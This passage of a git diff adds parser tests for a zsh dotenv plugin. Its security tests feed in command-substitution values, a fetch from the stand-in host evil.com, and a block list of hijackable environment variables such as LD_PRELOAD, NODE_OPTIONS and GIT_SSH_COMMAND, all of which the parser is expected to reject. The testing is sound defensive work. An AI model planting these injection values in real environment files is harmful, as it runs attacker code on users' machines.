+bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/ +kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V +u4QuUoobAgMBAAE= +-----END PUBLIC KEY-----" +EOF + + expected_vars=( + MULTI_DOUBLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING' + MULTI_SINGLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING' + MULTI_PEM_DOUBLE_QUOTED $'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u\nLgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/\nbTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/\nkKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V\nu4QuUoobAgMBAAE=\n-----END PUBLIC KEY-----' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse export syntax' { + > "$fixture" <<'EOF' +# Exported variables +export EXPORTED_VAR=exported_value +export EXPORTED_EMPTY= +EOF + + expected_vars=( + EXPORTED_VAR 'exported_value' + EXPORTED_EMPTY '' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse in-file variable expansion' { + > "$fixture" <<'EOF' +# Variable expansion (in-file forward references) +BASE_URL=https://api.example.com +API_ENDPOINT="${BASE_URL}/v1" +FULL_ENDPOINT=$BASE_URL/v2/users +COMBINED="${BASE_URL}_suffix" +EOF + + expected_vars=( + BASE_URL 'https://api.example.com' + API_ENDPOINT 'https://api.example.com/v1' + FULL_ENDPOINT 'https://api.example.com/v2/users' + COMBINED 'https://api.example.com_suffix' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse in-file variable expansion prefers the longest matching variable name' { + > "$fixture" <<'EOF' +A=1 +ABC=2 +X=$ABC +Y=${ABC} +Z=$ABCD +EOF + + expected_vars=( + A '1' + ABC '2' + X '2' + Y '2' + Z '' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse preserves escaped dollar signs before variable expansion' { + > "$fixture" <<'EOF' +BAR=expanded +ESCAPED_UNQUOTED=foo\$BAR +ESCAPED_DOUBLE="foo\$BAR" +ESCAPED_BRACED="\${BAR}" +EOF + + expected_vars=( + BAR 'expanded' + ESCAPED_UNQUOTED 'foo$BAR' + ESCAPED_DOUBLE 'foo$BAR' + ESCAPED_BRACED '${BAR}' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} diff --git a/plugins/dotenv/tests/compatibility.zunit b/plugins/dotenv/tests/compatibility.zunit new file mode 100644 index 000000000..61c5dddba --- /dev/null +++ b/plugins/dotenv/tests/compatibility.zunit @@ -0,0 +1,27 @@ +#!/usr/bin/env zunit + +@setup { + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@teardown { + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@test 'compatibility: dotenvjs fixture matches native source' { + local fixture="${testdir:A}/_support/fixtures/dotenvjs.env" + + _parse_dotenv_test "$fixture" + _source_with_allexport "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS" +} + +@test 'compatibility: features fixture matches native source' { + local fixture="${testdir:A}/_support/fixtures/features.env" + + _parse_dotenv_test "$fixture" + _source_with_allexport "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS" +} diff --git a/plugins/dotenv/tests/security.zunit b/plugins/dotenv/tests/security.zunit new file mode 100644 index 000000000..414f87bb7 --- /dev/null +++ b/plugins/dotenv/tests/security.zunit @@ -0,0 +1,209 @@ +#!/usr/bin/env zunit + +@setup { + typeset -g fixture="$(_create_temp_fixture)" + typeset -gA expected_vars=() +} + +@teardown { + [[ -f "$fixture" ]] && command rm -f "$fixture" + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@test 'skip dangerous backtick command substitution' { + > "$fixture" <<'EOF' +# Should be skipped +DANGEROUS_BACKTICK=`whoami` +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip dangerous subshell command substitution' { + > "$fixture" <<'EOF' +# Should be skipped +DANGEROUS_SUBSHELL=$(date) +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip nested command substitution in double quotes' { + > "$fixture" <<'EOF' +# Should be skipped +DANGEROUS_NESTED="prefix_$(echo malicious)_suffix" +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip multiple words (potential command execution)' { + > "$fixture" <<'EOF' +# Should be skipped - multiple words could execute commands +BASE_URL=/ echo command run +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'allow literal command substitution in single quotes' { + > "$fixture" <<'EOF' +# Single quotes make everything literal - should be parsed +SAFE_SINGLE_QUOTED='$(this is literal)' +SAFE_BACKTICK='`also literal`' + +# Should also be parsed +SAFE_VAR=safe_value +EOF + + expected_vars=( + SAFE_SINGLE_QUOTED '$(this is literal)' + SAFE_BACKTICK '`also literal`' + SAFE_VAR 'safe_value' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip backticks in unquoted values' { + > "$fixture" <<'EOF' +# Backticks in unquoted context - should be skipped +DANGEROUS_UNQUOTED=`echo danger` +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip dollar-paren in unquoted values' { + > "$fixture" <<'EOF' +# Command substitution in unquoted context - should be skipped +DANGEROUS_UNQUOTED=$(uname -a) +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'allow safe dollar signs (variable refs without parens in single quotes)' { + > "$fixture" <<'EOF' +# Dollar signs that don't start command substitution +SAFE_DOLLARS='$HOME is literal' +SAFE_PRICE='Cost is $50' +SAFE_VAR='value$123' + +# Should all be parsed +SAFE_VAR2=safe_value +EOF + + expected_vars=( + SAFE_DOLLARS '$HOME is literal' + SAFE_PRICE 'Cost is $50' + SAFE_VAR 'value$123' + SAFE_VAR2 'safe_value' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip quoted command substitution' { + > "$fixture" <<'EOF' +HARMLESS_COMMAND="\$(echo)" +ANOTHER_ONE=$'\x24\x28echo\x29' +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'comprehensive security test with mixed safe and dangerous patterns' { + > "$fixture" <<'EOF' +# These should be SKIPPED (dangerous) +DANGEROUS_BACKTICK=`whoami` +DANGEROUS_SUBSHELL=$(date) +DANGEROUS_NESTED="prefix_$(echo malicious)_suffix" +LOOKS_SAFE=$(curl http://evil.com) +BASE_URL=/ echo command run + +# These should WORK (safe) +SAFE_BEFORE=safe_value_1 +SAFE_AFTER=safe_value_2 +SAFE_SINGLE_QUOTED='$(this is literal)' +SAFE_SINGLE_QUOTED2='`also literal`' +SAFE_DOLLARS='$HOME' +SAFE_PRICE="$50" +EOF + + expected_vars=( + SAFE_BEFORE 'safe_value_1' + SAFE_AFTER 'safe_value_2' + SAFE_SINGLE_QUOTED '$(this is literal)' + SAFE_SINGLE_QUOTED2 '`also literal`' + SAFE_DOLLARS '$HOME' + SAFE_PRICE '$50' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + + + +@test 'blocks changes of special environment variables' { + _parse_dotenv_test =(<<'EOF' +# Executes on the next node/npm/npx invocation +NODE_OPTIONS=--require=./payload.js + +# Used for shell initialization +BASH_ENV=./payload.sh +# Used for shell initialization in zsh, but also respected by some tools like git +# - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args +# - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV +ENV=./payload.sh +# Used for zsh startup +ZDOTDIR=./.malicious_zsh +ZSH=./.malicious_zsh + +# These are used for native code injection +LD_PRELOAD=./payload.so +LD_LIBRARY_PATH=./malicious_libs +DYLD_INSERT_LIBRARIES=./payload.dylib + +# Git environment variables +GIT_CONFIG_GLOBAL=./.gitconfig-malicious +GIT_DIR=./malicious_git_dir +GIT_EDITOR=./malicious_editor +GIT_EXTERNAL_DIFF=./malicious_diff +GIT_EXEC_PATH=./.malicious_git_exec +GIT_PAGER=./malicious_pager +GIT_SSH=./malicious_ssh +GIT_SSH_COMMAND=./malicious_ssh_command +GIT_SSL_NO_VERIFY=true +GIT_TEMPLATE_DIR=./malicious_templates # for persistence + +# Special exported variables +PATH=./malicious_bin:$PATH +EDITOR=./malicious +VISUAL=./malicious +PAGER=./malicious +EOF +) + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +}